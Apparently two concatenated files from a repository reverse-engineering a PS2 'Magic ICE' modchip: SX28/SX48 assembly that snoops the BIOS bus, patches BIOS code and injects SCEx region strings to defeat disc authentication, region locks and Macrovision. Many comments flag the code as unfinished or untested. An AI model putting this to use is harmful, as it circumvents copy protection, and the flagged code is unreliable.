POST_PATCH_4_MODE_START_L2_2 mov w,#$ff mov VAR_DC2,w POST_PATCH_4_MODE_START_L3_2 mov w,#$ff mov VAR_DC1,w POST_PATCH_4_MODE_START_L4_2 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2_2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4_2 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3_2 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2_2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1_2 page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;-------------------------------------------------- ;;todo POST_PATCH_4_MODE_START_L5_2 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4_2 POST_PATCH_4_MODE_START_P2_2 mov w,#$43 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 call BIOS_WAIT_OE_LO_P6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 call BIOS_WAIT_OE_LO_P6 mov w,#$74 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5_2 Label_0184 snb IO_BIOS_OE jmp Label_0184 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0185 sb IO_BIOS_OE jmp Label_0185 Label_0186 snb IO_BIOS_OE jmp Label_0186 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp Label_0184 Label_0187 sb IO_BIOS_OE jmp Label_0187 Label_0188 snb IO_BIOS_OE jmp Label_0188 PS1_DETECTED_REBOOT_JMP11to17_ALL ;; check PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp Label_0184 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w jmp POST_PATCH_4_MODE_START2_2 org $0800 ;; page8 ps1drv page4 sx28 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P8 ret ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#$20 mov fsr,w mov w,#$b mov VAR_DC2,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;; weird jmp Label_0189 call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;; weird jmp Label_0189 call BIOS_WAIT_OE_LO_P8 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;; weird jmp Label_0189 ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 ;; added fix snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 ;; weird jmp Label_0190 nop mov w,#$30 ; 3C C7 34 19 19 E2 B2 19 E2 BA mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 ;; weird jmp Label_0190 PS1_CONSOLE_PAL_YFIX_SYNC_L2 ;; added fix sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 ;; here weird jmp Label_0191 ;; error mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 ;; added fix snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 ;; weird jmp Label_0192 page $0200 call RUN_BIOS_PATCHES_SRAM clr fsr decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;; different jmp BIOS_PATCH_DEV1 , error ;LOGO PS1_CONSOLE_ALL_JMPNTSC clr fsr mov w,#$34 mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 ;; added fix sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 ;;todo weird jmp Label_0194 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 ;; added fix snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 ;;todo weird jmp Label_0195 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 ;;todo weird jmp Label_0194 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 ;; added fix sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 ;;todo weird jmp Label_0196 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 ;; added fix sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 ;; weird jmp PS2LOGO_PATCH_19_20_JMP2 ;; error PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 ;; added fix snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 ;; weird jmp DEV1_MODE_LOAD_LOOP ;; error decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 ;; weird jmp PS2LOGO_PATCH_19_20_JMP2 ;; error mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 ;; added fix sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 ;; weird jmp Label_0198 ;; error mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w clr fsr ;; extra than sx28 setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0A00 ;; page A ps2logo ?? page4 sx28 ;; weird broken oe wait not even called. wait needed for flow ?? ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_PA ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_PA ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $0 retw $0 retw $0 retw $0 ;v12 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $31 retw $36 retw $18 retw $16 retw $91 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#$49 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_11_17_JMP1 mov w,#$44 mov VAR_DC3,w retw $d0 retw $80 mov w,#$4b mov VAR_DC3,w jmp PS2LOGO_PATCH_19_20_JMP1 ;; error NOTBUG_JMP1 ; edit from bugged jmp middle of dev1, gone now due to h2o dev1 ported ;; h2o diff ;LOADV10A PS2LOGO_PATCH_11_17_JMP1 retw $50 retw $81 ;LOADL1 ;; PS2LOGO_PATCH_19_20_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#$7f mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 ;; mov w,#$6b mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;; retw $af retw $5 retw $4 retw $8 ;;V14DRV ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#$72 mov VAR_DC1,w mov VAR_DC2,w clr w mov VAR_DC3,w mov w,#$20 mov fsr,w ;;PS2_PS2LOGO ;;PS2_PS2LOGO:loopa ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT ;; clr fsr mov w,#$6b mov VAR_DC2,w mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w snb V12_FLAG jmp PS1_MODE_START ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; originally Label_0183 two different call in sx48 vs sx28 ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; mov w,#$57 mov VAR_DC2,w mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$37 mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;; check PS1_DETECTED_REBOOT_JMP11to17_ALL . think right ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$27 mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 end
1nick9/PS2-Magic-ICE-FINAL-REVERSE	112,376	sx48WIP/sx48-h2o-working-port-75k-todo.s	;****************************************************************************** ; final-48.sxh hash 332FC3EFC0BB69F1CD0AB74E76AB210E ;**************************************************************************** device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ;; double ; for needs attension for mistakes or areas to change to function alike h2o or just general check here marker ;DEFINE RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr AD8D815BD099E0709BF588415E24D804 ;;now implemented, but checksums below not updated from sx28. none tested. ;only f=tr tested on v3pal ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal d8d6a5acf3e30901b45b75b001ff457c ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 809aa1533abed9cbdf2ed612a6fc5627 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 7a35a0a6001a04ed71509a1c18b6544f ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;only rstbump v8jap tested but rest should be right ;fsr convert ; 15h-1f sx28 addresses + b due to sx48 20h start ; 30h+ addresses - 5 due to 15h-20h=b b-10h=5 due to or 10h for map :) ;;todo indf if needs. yet to test in 75k ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. X_FLAG = VAR_SWITCH.2 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media JAP_V8 = VAR_SWITCH.3 DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models ;;V0_FLAG = VAR_SWITCH.6 ;; ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip **************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS clr VAR_SWITCH jmp BIOS_GET_SYNC ;-------------------------------------------------------------------------------- DELAY100m ;-------------------------------------------------------------------------------- mov w,#$64 mov VAR_DC1,w RTCC_SET_BIT mov w,#$3d mov rtcc,w RTCC_CHECK mov w,rtcc sb z jmp RTCC_CHECK decsz VAR_DC1 jmp RTCC_SET_BIT retp ;-------------------------------------------------------------------------------- SET_INTRPT ;-------------------------------------------------------------------------------- mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w snb IO_BIOS_CS jmp :loop2 setb SCEX_FLAG :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb USA_FLAG jmp usa snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION ; nop ;; extra sx28 mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ; nop ;; extra sx28 mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION 